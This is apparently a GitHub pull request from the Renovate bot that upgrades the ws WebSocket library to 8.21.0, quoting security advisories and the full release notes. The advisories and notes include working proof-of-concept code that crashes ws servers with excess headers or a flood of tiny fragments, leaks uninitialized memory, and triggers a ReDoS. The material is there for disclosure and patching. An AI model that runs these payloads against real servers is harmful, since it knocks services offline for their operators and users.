Skip to content

Update dependency ws to v8 [SECURITY] - #6049

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/npm-ws-vulnerability
Open

Update dependency ws to v8 [SECURITY]#6049
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/npm-ws-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Jul 24, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
ws 6.2.2 → 8.21.0 age confidence

ws affected by a DoS when handling a request with many HTTP headers

CVE-2024-37890 / GHSA-3h5v-q93c-6h6q

More information

Details

Impact

A request with a number of headers exceeding the server.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept
const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});
Patches

The vulnerability was fixed in ws@8.17.1 (websockets/ws@e55e510) and backported to ws@7.5.10 (websockets/ws@22c2876), ws@6.2.3 (websockets/ws@eeb76d3), and ws@5.2.4 (websockets/ws@4abd8f6).

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.
Credits

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

References

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

ws: Memory exhaustion DoS from tiny fragments and data chunks

CVE-2026-48779 / GHSA-96hv-2xvq-fx4p

More information

Details

Impact

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

Proof of concept
import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(1);
  const options = { fin: false };
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    (function send() {
      ws.send(data, options, function (err) {
        if (err) return;
        send();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});
Patches

The vulnerability was fixed in ws@8.21.0 (websockets/ws@bca91ad) and backported to ws@7.5.11 (websockets/ws@fd36cd8), ws@6.2.4 (websockets/ws@86d3e8a), and ws@5.2.5 (websockets/ws@b5372ac).

Workarounds

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Credits

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

websockets/ws (ws)

v8.21.0

Compare Source

Features
  • Introduced the maxBufferedChunks and maxFragments options (2b2abd4).
Bug fixes
  • Fixed a remote memory exhaustion DoS vulnerability (2b2abd4).

A high volume of tiny fragments and data chunks could be sent by a peer, using
modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(1);
  const options = { fin: false };
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    (function send() {
      ws.send(data, options, function (err) {
        if (err) return;
        send();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the
maxPayload option if possible.

v8.20.1

Compare Source

Bug fixes
  • Fixed an uninitialized memory disclosure issue in websocket.close()
    (c0327ec).

Providing a TypedArray (e.g. Float32Array) as the reason argument for
websocket.close(), rather than the supported string or Buffer types, caused
uninitialized memory to be disclosed to the remote peer.

import { deepStrictEqual } from 'node:assert';
import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer(
  { port: 0, skipUTF8Validation: true },
  function () {
    const { port } = wss.address();
    const ws = new WebSocket(`ws://localhost:${port}`, {
      skipUTF8Validation: true
    });

    ws.on('close', function (code, reason) {
      deepStrictEqual(reason, Buffer.alloc(80));
    });
  }
);

wss.on('connection', function (ws) {
  ws.close(1000, new Float32Array(20));
});

The issue was privately reported by Nikita Skovoroda.

v8.20.0

Compare Source

Features
  • Added exports for the PerMessageDeflate class and utilities for the
    Sec-WebSocket-Extensions and Sec-WebSocket-Protocol headers (d3503c1).

v8.19.0

Compare Source

Features
  • Added the closeTimeout option (#​2308).
Bug fixes
  • Handled a forthcoming breaking change in Node.js core (1998485).

v8.18.3

Compare Source

Bug fixes
  • Fixed a spec violation where the Sec-WebSocket-Version header was not added
    to the HTTP response if the client requested version was either invalid or
    unacceptable (#​2291).

v8.18.2

Compare Source

Bug fixes
  • Fixed an issue that, during message decompression when the maximum size was
    exceeded, led to the emission of an inaccurate error and closure of the
    connection with an improper close code (#​2285).

v8.18.1

Compare Source

Bug fixes
  • The length of the UNIX domain socket paths in the tests has been shortened to
    make them work when run via CITGM (021f7b8).

v8.18.0

Compare Source

Features

v8.17.1

Compare Source

Bug fixes

A request with a number of headers exceeding theserver.maxHeadersCount
threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

The vulnerability was reported by Ryan LaPointe in #​2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the
    --max-http-header-size=size and/or the maxHeaderSize options so
    that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.

v8.17.0

Compare Source

Features

  • The WebSocket constructor now accepts the createConnection option (#​2219).

Other notable changes

  • The default value of the allowSynchronousEvents option has been changed to
    true (#​2221).

This is a breaking change in a patch release. The assumption is that the option
is not widely used.

v8.16.0

Compare Source

Features

  • Added the autoPong option (01ba54e).

v8.15.1

Compare Source

Notable changes

  • The allowMultipleEventsPerMicrotask option has been renamed to
    allowSynchronousEvents (4ed7fe5).

This is a breaking change in a patch release that could have been avoided with
an alias, but the renamed option was added only 3 days ago, so hopefully it
hasn't already been widely used.

v8.15.0

Compare Source

Features

  • Added the allowMultipleEventsPerMicrotask option (93e3552).

v8.14.2

Compare Source

Bug fixes

  • Fixed an issue that allowed errors thrown by failed assertions to be
    swallowed when running tests (7f4e1a7).

v8.14.1

Compare Source

Bug fixes

  • Improved the reliability of two tests for CITGM (fd3c64c).

v8.14.0

Compare Source

Features

  • The WebSocket constructor now accepts HTTP(S) URLs (#​2162).
  • The socket argument of server.handleUpgrade() can now be a generic
    Duplex stream (#​2165).

Other notable changes

  • At most one event per microtask is now emitted (#​2160).

v8.13.0

Compare Source

Features

  • Added the finishRequest option to support late addition of headers (#​2123).

v8.12.1

Compare Source

Bug fixes

  • Added browser condition to package.json (#​2118).

v8.12.0

Compare Source

Features

  • Added support for utf-8-validate@6 (ff63bba).

Other notable changes

v8.11.0

Compare Source

Features

  • WebSocket.prototype.addEventListener() now supports an event listener
    specified as an object with a handleEvent() method. (9ab743a).

Bug fixes

  • WebSocket.prototype.addEventListener() now adds an event listener only if it
    is not already in the list of the event listeners for the specified event type
    (1cec17d).

v8.10.0

Compare Source

Features

  • Added an export for package.json (211d5d3).

v8.9.0

Compare Source

Features

  • Added the ability to connect to Windows named pipes (#​2079).

v8.8.1

Compare Source

Bug fixes

  • The Authorization and Cookie headers are no longer sent if the original
    request for the opening handshake is sent to an IPC server and the client is
    redirected to another IPC server (bc8bd34).

v8.8.0

Compare Source

Features

  • Added the WS_NO_BUFFER_UTIL and WS_NO_UTF_8_VALIDATE environment
    variables (becf237).

v8.7.0

Compare Source

Features

  • Added the ability to inspect the invalid handshake requests and respond to
    them with a custom HTTP response. (6e5a5ce).

Bug fixes

  • The handshake is now aborted if the Upgrade header field value in the HTTP
    response is not a case-insensitive match for the value "websocket" (0fdcc0a).
  • The Authorization and Cookie headers are no longer sent when following an
    insecure redirect (wss: to ws:) to the same host (d68ba9e).

v8.6.0

Compare Source

Features

  • Added the ability to remove confidential headers on a per-redirect basis (#​2030).

v8.5.0

Compare Source

Features

  • Added the ability to use a custom WebSocket class on the server (#​2007).

Bug fixes

  • When following redirects, the Authorization and Cookie headers are no
    longer sent if the redirect host is different from the original host (#​2013).

v8.4.2

Compare Source

Bug fixes

  • Fixed a data framing issue introduced in version 8.4.1 (#​2004).

v8.4.1

Compare Source

Notable changes

  • To improve performance, strings sent via websocket.ping(),
    websocket.pong(), and websocket.send() are no longer converted to
    Buffers if the data does not need to be masked (#​2000).

v8.4.0

Compare Source

Features

  • Added ability to generate custom masking keys (#​1990).

v8.3.0

Compare Source

Features

  • Added ability to pause and resume a WebSocket (0a8c7a9).

Bug fixes

  • Fixed a bug that could prevent the connection from being closed cleanly when
    using the stream API (ed2b803).
  • When following redirects, an error is now emitted and not thrown if the
    redirect URL is invalid (#​1980).

v8.2.3

Compare Source

Bug fixes

  • When context takeover is enabled, messages are now compressed even if their size
    is below the value of the perMessageDeflate.threshold option (41ae563).

v8.2.2

Compare Source

Bug fixes

  • Some closing operations are now run only if needed (ec9377c).

v8.2.1

Compare Source

Bug fixes

  • Fixed an issue where the socket was not resumed, preventing the connection
    from being closed cleanly (869c989).

v8.2.0

Compare Source

Features

  • Added WebSocket.WebSocket as an alias for WebSocket and
    WebSocket.WebSocketServer as an alias for WebSocket.Server to fix name
    consistency and improve interoperability with the ES module wrapper (#​1935).

v8.1.0

Compare Source

Features

  • Added ability to skip UTF-8 validation (#​1928).

Bug fixes

  • Fixed an issue with a breaking change in Node.js master (6a72da3).
  • Fixed a misleading error message (c95e695).

v8.0.0

Compare Source

Breaking changes

  • The WebSocket constructor now throws a SyntaxError if any of the
    subprotocol names are invalid or duplicated (0aecf0c).

  • The server now aborts the opening handshake if an invalid
    Sec-WebSocket-Protocol header field value is received (1877dde).

  • The protocols argument of handleProtocols hook is no longer an Array but
    a Set (1877dde).

  • The opening handshake is now aborted if the Sec-WebSocket-Extensions header
    field value is empty or it begins or ends with a white space (e814110).

  • Dropped support for Node.js < 10.0.0 (552b506).

  • The WebSocket constructor now throws a SyntaxError if the connection URL
    contains a fragment identifier or if the URL's protocol is not one of 'ws:',
    'wss:', or 'ws+unix:' (ebea038).

  • Text messages and close reasons are no longer decoded to strings. They are
    passed as Buffers to the listeners of their respective events. The listeners
    of the 'message' event now take a boolean argument specifying whether or not
    the message is binary (e173423).

    Existing code can be migrated by decoding the buffer explicitly.

    websocket.on('message', function message(data, isBinary) {
  const message = isBinary ? data : data.toString();
  // Continue as before.
});

websocket.on('close', function close(code, data) {
  const reason = data.toString();
  // Continue as before.
});

  • The package now uses an ES module wrapper (78adf5f).

  • WebSocketServer.prototype.close() no longer closes existing connections
    (df7de57).

    Existing code can be migrated by closing the connections manually.

    websocketServer.close();
for (const ws of websocketServer.clients) {
  ws.terminate();
}

  • The callback of WebSocketServer.prototype.close() is now called with an
    error if the server is already closed (abde9cf).

  • WebSocket.prototype.addEventListener() is now a noop if the type argument
    is not one of 'close', 'error', 'message', or 'open' (9558ed1).

  • WebSocket.prototype.removeEventListener() now only removes listeners added
    with WebSocket.prototype.addEventListener() and only one at time (ea95d9c).

  • The value of the onclose, onerror, onmessage, and onopen properties is
    now null if the respective event handler is not set (6756cf5).

  • The OpenEvent class has been removed (21e6500).

Bug fixes

  • The event listeners added via handler properties are now independent from the
    event listeners added with WebSocket.prototype.addEventListener()
    (0b21c03).

v7.5.13

Compare Source

Bug fixes

  • Fixed a bug introduced in version 7.5.12 that prevented the fragment counter
    from resetting (18bcb11).

v7.5.12

Compare Source

Bug fixes

v7.5.11

Compare Source

Bug fixes

v7.5.10

Compare Source

Bug fixes

v7.5.9

Compare Source

Bug fixes

v7.5.8

Compare Source

Bug fixes

v7.5.7

Compare Source

Bug fixes

v7.5.6

Compare Source

Bug fixes

v7.5.5

Compare Source

Bug fixes

v7.5.4

Compare Source

Bug fixes

v7.5.3

Compare Source

Bug fixes

  • The WebSocketServer constructor now throws an error if more than one of the
    noServer, server, and port options are specefied (66e58d2).
  • Fixed a bug where a 'close' event was emitted by a WebSocketServer before
    the internal HTTP/S server was actually closed (5a58730).
  • Fixed a bug that allowed WebSocket connections to be established after
    WebSocketServer.prototype.close() was called (772236a).

v7.5.2

Compare Source

Bug fixes

  • The opening handshake is now aborted if the client receives a
    Sec-WebSocket-Extensions header but no extension was requested or if the
    server indicates an extension not requested by the client (aca94c8).

v7.5.1

Compare Source

Bug fixes

  • Fixed an issue that prevented the connection from being closed properly if an
    error occurred simultaneously on both peers (b434b9f).

v7.5.0

Compare Source

Features

  • Some errors now have a code property describing the specific type of error
    that has occurred (#​1901).

Bug fixes

  • A close frame is now sent to the remote peer if an error (such as a data
    framing error) occurs (8806aa9).
  • The close code is now always 1006 if no close frame is received, even if the
    connection is closed due to an error (8806aa9).

v7.4.6

Compare Source

Bug fixes

  • Fixed a ReDoS vulnerability (00c425e).

A specially crafted value of the Sec-Websocket-Protocol header could be used
to significantly slow down a ws server.

for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
  const value = 'b' + ' '.repeat(length) + 'x';
  const start = process.hrtime.bigint();

  value.trim().split(/ *, */);

  const end = process.hrtime.bigint();

  console.log('length = %d, time = %f ns', length, end - start);
}

The vulnerability was responsibly disclosed along with a fix in private by
Robert McLaughlin from University of California, Santa Barbara.

In vulnerable versions of ws, the issue can be mitigated by reducing the maximum
allowed length of the request headers using the --max-http-header-size=size
and/or the maxHeaderSize options.

v7.4.5

Compare Source

Bug fixes

  • UTF-8 validation is now done even if utf-8-validate is not installed
    (23ba6b2).
  • Fixed an edge case where websocket.close() and websocket.terminate() did
    not close the connection (67e25ff).

v7.4.4

Compare Source

Bug fixes

  • Fixed a bug that could cause the process to crash when using the
    permessage-deflate extension (9277437).

v7.4.3

Compare Source

Bug fixes

  • The deflate/inflate stream is now reset instead of reinitialized when context
    takeover is disabled (#​1840).

v7.4.2

Compare Source

Bug fixes

  • Silenced a deprecation warning (a2c0d44).

v7.4.1

Compare Source

Bug fixes

  • Added a workaround for a double 'error' event bug in Node.js < 13 which
    caused an uncaught error during the WebSocket handshake (38d6ab3).

v7.4.0

Compare Source

Features

  • The callback of WebSocketServer.prototype.handleUpgrade() now takes the
    client HTTP GET request as second argument (7d39f19).

Bug fixes

  • Read-only properties are now read-only (eabed8f).
  • The CONNECTING, OPEN, CLOSING, CLOSED, binaryType, bufferedAmount,
    extensions, onclose, onerror, onmessage, onopen, protocol,
    readyState, and url properties are now enumerable (2069e68).

v7.3.1

Compare Source

Bug fixes

v7.3.0

Compare Source

Features

  • WebSocket.prototype.addEventListener() now supports the once option (#​1754).

v7.2.5

Compare Source

Bug fixes

  • Fixed compatibility with Node.js master (651d662).

v7.2.3

Compare Source

Bug fixes

  • WebSocket#{p{i,o}ng,close}() now thow an error if the data to send is too
    large to fit in a control frame (e54f08d).

v7.2.2

Compare Source

Bug fixes

  • Fixed an issue where calling webSocketStream.end() could cause the process
    to crash (9535702).
  • The connection is now closed if a non-masked frame is received on the server
    or a masked frame is received on the client (#​1681).
  • The status code 1014 is now allowed to be used (#​1682).

v7.2.1

Compare Source

Bug fixes

  • Added bufferutil and utf-8-validate as peer dependencies (#​1626).

v7.2.0

Compare Source

Features

  • Added ability to specify the readableObjectMode option when using
    WebSocket.createWebSocketStream() (#​1647).

v7.1.2

Compare Source

Bug fixes

  • Fixed a bug that caused compress jobs to never be marked as complete
    (#​1618).

v7.1.1

Compare Source

Bug fixes

  • An error is now thrown if the WebSocket server constructor is used
    incorrectly (3641266).

v7.1.0

Compare Source

Features

  • Added utility to wrap a WebSocket in a Duplex stream (#​1589).

Bug fixes

v7.0.1

Compare Source

Bug fixes

  • Added ability to disable sending the SNI extension (#​1587).

v7.0.0

Compare Source

Breaking changes

  • Dropped support for Node.js 6 (1e6999b).
  • Dropped support for url.Url instances in the WebSocket constructor
    (692d7b4).
  • The behavior of WebSocket#{p{i,o}ng,send}() has changed when the
    readyState attribute is not OPEN (#​1532)
    • If the readyState attribute is CONNECTING, an exception is thrown.
    • If the readyState attribute is CLOSING or CLOSED
      • The bufferedAmount attribute is increased by the length of the data
        argument in bytes.
      • If provided, the callback function is called with an error.
      • No exception is thrown even if the callback function is not provided.

v6.2.6

Compare Source

Bug fixes

  • Fixed a bug introduced in version 6.2.5 that prevented the fragment counter
    from resetting (899bf9e).

v6.2.5

Compare Source

Bug fixes

v6.2.4

Compare Source

Bug fixes

v6.2.3

Compare Source

Bug fixes

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot added the renovate PR automatically generated by renovate label Jul 24, 2026
@bundlemon

bundlemon Bot commented Jul 24, 2026 •
edited
Loading

Copy link
Copy Markdown

BundleMon

Unchanged files (4)
Status Path Size Limits
✅ renderer.(hash).js
 10.36MB -
✅ vendors~renderer.(hash).js
 4.67MB -
✅ updater.js
 115.29KB -
✅ guest-api.js
 40.23KB -

No change in files bundle size

Final result: ✅

View report in BundleMon website ➡️

Current branch size history | Target branch size history

@renovate
renovate Bot force-pushed the renovate/npm-ws-vulnerability branch from 905ec39 to 59ffad8 Compare July 30, 2026 14:08
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

No one assigned

Labels

renovate PR automatically generated by renovate

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

0 participants